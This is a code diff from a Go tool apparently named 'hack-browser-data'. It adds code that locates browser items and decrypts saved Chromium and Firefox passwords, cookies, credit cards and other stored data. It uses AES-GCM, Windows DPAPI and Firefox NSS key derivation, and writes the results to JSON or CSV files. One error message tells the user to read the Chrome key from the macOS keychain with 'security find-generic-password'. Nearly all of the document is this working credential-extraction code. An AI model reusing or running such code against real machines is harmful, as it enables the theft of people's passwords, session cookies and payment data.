| 	case chromiumKey: | ||||
| 		return consts.ChromiumKey | ||||
| 	case chromiumPassword: | ||||
| 		return consts.ChromiumPassword | ||||
| 	case chromiumCookie: | ||||
| 		return consts.ChromiumCookie | ||||
| 	case chromiumBookmark: | ||||
| 		return consts.ChromiumBookmark | ||||
| 	case chromiumDownload: | ||||
| 		return consts.ChromiumDownload | ||||
| 	case chromiumLocalStorage: | ||||
| 		return consts.ChromiumLocalStorage | ||||
| 	case chromiumCreditcard: | ||||
| 		return consts.ChromiumCredit | ||||
| 	case chromiumExtension: | ||||
| 		return "unsupport item" | ||||
| 	case chromiumHistory: | ||||
| 		return consts.ChromiumHistory | ||||
| 	case firefoxPassword: | ||||
| 		return consts.FirefoxLogin | ||||
| 	case firefoxCookie: | ||||
| 		return consts.FirefoxData | ||||
| 	default: | ||||
| 		return "unknown item" | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i item) FileName() string { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return consts.ChromiumKeyFilename | ||||
| 	case chromiumPassword: | ||||
| 		return consts.ChromiumPasswordFilename | ||||
| 	case chromiumCookie: | ||||
| 		return consts.ChromiumCookieFilename | ||||
| 	case chromiumBookmark: | ||||
| 		return consts.ChromiumBookmarkFilename | ||||
| 	case chromiumDownload: | ||||
| 		return consts.ChromiumDownloadFilename | ||||
| 	case chromiumLocalStorage: | ||||
| 		return consts.ChromiumLocalStorageFilename | ||||
| 	case chromiumCreditcard: | ||||
| 		return consts.ChromiumCreditFilename | ||||
| 	case chromiumExtension: | ||||
| 		return "unsupport item" | ||||
| 	case chromiumHistory: | ||||
| 		return consts.ChromiumHistoryFilename | ||||
| 	case firefoxPassword: | ||||
| 		return consts.FirefoxLoginFilename | ||||
| 	case firefoxCookie: | ||||
| 		return consts.FirefoxDataFilename | ||||
| 	default: | ||||
| 		return "unknown item" | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (i item) NewBrowsingData() data.BrowsingData { | ||||
| 	switch i { | ||||
| 	case chromiumKey: | ||||
| 		return nil | ||||
| 	case chromiumPassword: | ||||
| 		return &data.ChromiumPassword{} | ||||
| 	case chromiumCookie: | ||||
| 		return &data.ChromiumCookie{} | ||||
| 	case chromiumBookmark: | ||||
| 		return &data.ChromiumBookmark{} | ||||
| 	case chromiumDownload: | ||||
| 		return &data.ChromiumDownload{} | ||||
| 	case chromiumLocalStorage: | ||||
| 		return nil | ||||
| 	case chromiumCreditcard: | ||||
| 		return &data.ChromiumCreditCard{} | ||||
| 	case chromiumExtension: | ||||
| 		return nil | ||||
| 	case chromiumHistory: | ||||
| 		return &data.ChromiumHistory{} | ||||
| 	case firefoxPassword: | ||||
| 		return nil | ||||
| 	case firefoxCookie: | ||||
| 		return nil | ||||
| 	default: | ||||
| 		return nil | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1,81 @@ | ||||
| package outputter | ||||
| 
 | ||||
| import ( | ||||
| 	"encoding/csv" | ||||
| 	"errors" | ||||
| 	"fmt" | ||||
| 	"io" | ||||
| 	"os" | ||||
| 	"path/filepath" | ||||
| 
 | ||||
| 	"github.com/gocarina/gocsv" | ||||
| 	jsoniter "github.com/json-iterator/go" | ||||
| 
 | ||||
| 	"hack-browser-data/pkg/browser/data" | ||||
| ) | ||||
| 
 | ||||
| type outPutter struct { | ||||
| 	json bool | ||||
| 	csv  bool | ||||
| } | ||||
| 
 | ||||
| func NewOutPutter(flag string) *outPutter { | ||||
| 	o := &outPutter{} | ||||
| 	if flag == "json" { | ||||
| 		o.json = true | ||||
| 	} else { | ||||
| 		o.csv = true | ||||
| 	} | ||||
| 	return o | ||||
| } | ||||
| 
 | ||||
| func (o *outPutter) MakeDir(dir string) error { | ||||
| 	if _, err := os.Stat(dir); os.IsNotExist(err) { | ||||
| 		return os.Mkdir(dir, 0777) | ||||
| 	} | ||||
| 	return nil | ||||
| } | ||||
| 
 | ||||
| func (o *outPutter) Write(data data.BrowsingData, writer *os.File) error { | ||||
| 	switch o.json { | ||||
| 	case true: | ||||
| 		encoder := jsoniter.NewEncoder(writer) | ||||
| 		encoder.SetIndent("  ", "  ") | ||||
| 		encoder.SetEscapeHTML(false) | ||||
| 		return encoder.Encode(data) | ||||
| 	default: | ||||
| 		gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter { | ||||
| 			writer := csv.NewWriter(w) | ||||
| 			writer.Comma = ',' | ||||
| 			return gocsv.NewSafeCSVWriter(writer) | ||||
| 		}) | ||||
| 		return gocsv.MarshalFile(data, writer) | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (o *outPutter) CreateFile(dirname, filename string) (*os.File, error) { | ||||
| 	if filename == "" { | ||||
| 		return nil, errors.New("empty filename") | ||||
| 	} | ||||
| 
 | ||||
| 	dir := filepath.Dir(filename) | ||||
| 
 | ||||
| 	if dir != "" { | ||||
| 		if _, err := os.Stat(dir); os.IsNotExist(err) { | ||||
| 			err := os.MkdirAll(dir, 0777) | ||||
| 			if err != nil { | ||||
| 				return nil, err | ||||
| 			} | ||||
| 		} | ||||
| 	} | ||||
| 
 | ||||
| 	var file *os.File | ||||
| 	var err error | ||||
| 	p := filepath.Join(dirname, filename) | ||||
| 	file, err = os.OpenFile(p, os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666) | ||||
| 	fmt.Println(err) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return file, nil | ||||
| } | ||||
| @ -0,0 +1,214 @@ | ||||
| package decrypter | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"crypto/des" | ||||
| 	"crypto/hmac" | ||||
| 	"crypto/sha1" | ||||
| 	"crypto/sha256" | ||||
| 	"encoding/asn1" | ||||
| 	"errors" | ||||
| 
 | ||||
| 	"golang.org/x/crypto/pbkdf2" | ||||
| ) | ||||
| 
 | ||||
| var ( | ||||
| 	errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") | ||||
| 	errPasswordIsEmpty    = errors.New("password is empty") | ||||
| 	errDecryptFailed      = errors.New("decrypter encrypt value failed") | ||||
| 	errDecodeASN1Failed   = errors.New("decode ASN1 data failed") | ||||
| 	errEncryptedLength    = errors.New("length of encrypted password less than block size") | ||||
| ) | ||||
| 
 | ||||
| type ASN1PBE interface { | ||||
| 	Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) | ||||
| } | ||||
| 
 | ||||
| func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { | ||||
| 	var ( | ||||
| 		n NssPBE | ||||
| 		m MetaPBE | ||||
| 		l LoginPBE | ||||
| 	) | ||||
| 	if _, err := asn1.Unmarshal(b, &n); err == nil { | ||||
| 		return n, nil | ||||
| 	} | ||||
| 	if _, err := asn1.Unmarshal(b, &m); err == nil { | ||||
| 		return m, nil | ||||
| 	} | ||||
| 	if _, err := asn1.Unmarshal(b, &l); err == nil { | ||||
| 		return l, nil | ||||
| 	} | ||||
| 	return nil, errDecodeASN1Failed | ||||
| } | ||||
| 
 | ||||
| // NssPBE Struct
 | ||||
| // SEQUENCE (2 elem)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| // 		OBJECT IDENTIFIER
 | ||||
| // 		SEQUENCE (2 elem)
 | ||||
| // 			OCTET STRING (20 byte)
 | ||||
| // 			INTEGER 1
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| type NssPBE struct { | ||||
| 	NssSequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type NssSequenceA struct { | ||||
| 	DecryptMethod asn1.ObjectIdentifier | ||||
| 	NssSequenceB | ||||
| } | ||||
| 
 | ||||
| type NssSequenceB struct { | ||||
| 	EntrySalt []byte | ||||
| 	Len       int | ||||
| } | ||||
| 
 | ||||
| func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { | ||||
| 	glmp := append(globalSalt, masterPwd...) | ||||
| 	hp := sha1.Sum(glmp) | ||||
| 	s := append(hp[:], n.EntrySalt...) | ||||
| 	chp := sha1.Sum(s) | ||||
| 	pes := paddingZero(n.EntrySalt, 20) | ||||
| 	tk := hmac.New(sha1.New, chp[:]) | ||||
| 	tk.Write(pes) | ||||
| 	pes = append(pes, n.EntrySalt...) | ||||
| 	k1 := hmac.New(sha1.New, chp[:]) | ||||
| 	k1.Write(pes) | ||||
| 	tkPlus := append(tk.Sum(nil), n.EntrySalt...) | ||||
| 	k2 := hmac.New(sha1.New, chp[:]) | ||||
| 	k2.Write(tkPlus) | ||||
| 	k := append(k1.Sum(nil), k2.Sum(nil)...) | ||||
| 	iv := k[len(k)-8:] | ||||
| 	return des3Decrypt(k[:24], iv, n.Encrypted) | ||||
| } | ||||
| 
 | ||||
| // MetaPBE Struct
 | ||||
| // SEQUENCE (2 elem)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| //     	OBJECT IDENTIFIER
 | ||||
| //     	SEQUENCE (2 elem)
 | ||||
| //       	SEQUENCE (2 elem)
 | ||||
| //         	OBJECT IDENTIFIER
 | ||||
| //         	SEQUENCE (4 elem)
 | ||||
| //           	OCTET STRING (32 byte)
 | ||||
| //           		INTEGER 1
 | ||||
| //           		INTEGER 32
 | ||||
| //           		SEQUENCE (1 elem)
 | ||||
| //             	OBJECT IDENTIFIER
 | ||||
| //       	SEQUENCE (2 elem)
 | ||||
| //         	OBJECT IDENTIFIER
 | ||||
| //         	OCTET STRING (14 byte)
 | ||||
| //   	OCTET STRING (16 byte)
 | ||||
| type MetaPBE struct { | ||||
| 	MetaSequenceA | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceA struct { | ||||
| 	PKCS5PBES2 asn1.ObjectIdentifier | ||||
| 	MetaSequenceB | ||||
| } | ||||
| type MetaSequenceB struct { | ||||
| 	MetaSequenceC | ||||
| 	MetaSequenceD | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceC struct { | ||||
| 	PKCS5PBKDF2 asn1.ObjectIdentifier | ||||
| 	MetaSequenceE | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceD struct { | ||||
| 	AES256CBC asn1.ObjectIdentifier | ||||
| 	IV        []byte | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceE struct { | ||||
| 	EntrySalt      []byte | ||||
| 	IterationCount int | ||||
| 	KeySize        int | ||||
| 	MetaSequenceF | ||||
| } | ||||
| 
 | ||||
| type MetaSequenceF struct { | ||||
| 	HMACWithSHA256 asn1.ObjectIdentifier | ||||
| } | ||||
| 
 | ||||
| func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) { | ||||
| 	k := sha1.Sum(globalSalt) | ||||
| 	key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New) | ||||
| 	iv := append([]byte{4, 14}, m.IV...) | ||||
| 	return aes128CBCDecrypt(key, iv, m.Encrypted) | ||||
| } | ||||
| 
 | ||||
| // LoginPBE Struct
 | ||||
| // SEQUENCE (3 elem)
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| // 	SEQUENCE (2 elem)
 | ||||
| // 		OBJECT IDENTIFIER
 | ||||
| // 		OCTET STRING (8 byte)
 | ||||
| // 	OCTET STRING (16 byte)
 | ||||
| type LoginPBE struct { | ||||
| 	CipherText []byte | ||||
| 	LoginSequence | ||||
| 	Encrypted []byte | ||||
| } | ||||
| 
 | ||||
| type LoginSequence struct { | ||||
| 	asn1.ObjectIdentifier | ||||
| 	IV []byte | ||||
| } | ||||
| 
 | ||||
| func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { | ||||
| 	return des3Decrypt(globalSalt, l.IV, l.Encrypted) | ||||
| } | ||||
| 
 | ||||
| func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	encryptLen := len(encryptPass) | ||||
| 	if encryptLen < block.BlockSize() { | ||||
| 		return nil, errEncryptedLength | ||||
| 	} | ||||
| 
 | ||||
| 	dst := make([]byte, encryptLen) | ||||
| 	mode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	mode.CryptBlocks(dst, encryptPass) | ||||
| 	dst = PKCS5UnPadding(dst) | ||||
| 	return dst, nil | ||||
| } | ||||
| 
 | ||||
| func PKCS5UnPadding(src []byte) []byte { | ||||
| 	length := len(src) | ||||
| 	unpad := int(src[length-1]) | ||||
| 	return src[:(length - unpad)] | ||||
| } | ||||
| 
 | ||||
| // des3Decrypt use for decrypter firefox PBE
 | ||||
| func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { | ||||
| 	block, err := des.NewTripleDESCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	blockMode := cipher.NewCBCDecrypter(block, iv) | ||||
| 	sq := make([]byte, len(src)) | ||||
| 	blockMode.CryptBlocks(sq, src) | ||||
| 	return sq, nil | ||||
| } | ||||
| 
 | ||||
| func paddingZero(s []byte, l int) []byte { | ||||
| 	h := l - len(s) | ||||
| 	if h <= 0 { | ||||
| 		return s | ||||
| 	} else { | ||||
| 		for i := len(s); i < l; i++ { | ||||
| 			s = append(s, 0) | ||||
| 		} | ||||
| 		return s | ||||
| 	} | ||||
| } | ||||
| @ -0,0 +1,17 @@ | ||||
| package decrypter | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(key) == 0 { | ||||
| 			return nil, errSecurityKeyIsEmpty | ||||
| 		} | ||||
| 		var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| 		return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) | ||||
| 	} else { | ||||
| 		return nil, errDecryptFailed | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| @ -0,0 +1,17 @@ | ||||
| package decrypter | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} | ||||
| 	if len(encryptPass) > 3 { | ||||
| 		if len(key) == 0 { | ||||
| 			return nil, errSecurityKeyIsEmpty | ||||
| 		} | ||||
| 		return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) | ||||
| 	} else { | ||||
| 		return nil, errDecryptFailed | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	return nil, nil | ||||
| } | ||||
| @ -0,0 +1,70 @@ | ||||
| package decrypter | ||||
| 
 | ||||
| import ( | ||||
| 	"crypto/aes" | ||||
| 	"crypto/cipher" | ||||
| 	"syscall" | ||||
| 	"unsafe" | ||||
| ) | ||||
| 
 | ||||
| func ChromePass(key, encryptPass []byte) ([]byte, error) { | ||||
| 	if len(encryptPass) > 15 { | ||||
| 		// remove Prefix 'v10'
 | ||||
| 		return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) | ||||
| 	} else { | ||||
| 		return nil, errPasswordIsEmpty | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| // chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
 | ||||
| func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { | ||||
| 	block, err := aes.NewCipher(key) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	blockMode, err := cipher.NewGCM(block) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	origData, err := blockMode.Open(nil, nounce, crypted, nil) | ||||
| 	if err != nil { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	return origData, nil | ||||
| } | ||||
| 
 | ||||
| type dataBlob struct { | ||||
| 	cbData uint32 | ||||
| 	pbData *byte | ||||
| } | ||||
| 
 | ||||
| func NewBlob(d []byte) *dataBlob { | ||||
| 	if len(d) == 0 { | ||||
| 		return &dataBlob{} | ||||
| 	} | ||||
| 	return &dataBlob{ | ||||
| 		pbData: &d[0], | ||||
| 		cbData: uint32(len(d)), | ||||
| 	} | ||||
| } | ||||
| 
 | ||||
| func (b *dataBlob) ToByteArray() []byte { | ||||
| 	d := make([]byte, b.cbData) | ||||
| 	copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) | ||||
| 	return d | ||||
| } | ||||
| 
 | ||||
| // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
 | ||||
| func DPApi(data []byte) ([]byte, error) { | ||||
| 	dllCrypt := syscall.NewLazyDLL("Crypt32.dll") | ||||
| 	dllKernel := syscall.NewLazyDLL("Kernel32.dll") | ||||
| 	procDecryptData := dllCrypt.NewProc("CryptUnprotectData") | ||||
| 	procLocalFree := dllKernel.NewProc("LocalFree") | ||||
| 	var outBlob dataBlob | ||||
| 	r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) | ||||
| 	if r == 0 { | ||||
| 		return nil, err | ||||
| 	} | ||||
| 	defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) | ||||
| 	return outBlob.ToByteArray(), nil | ||||
| } | ||||
					Loading…
					
					
				
		Reference in new issue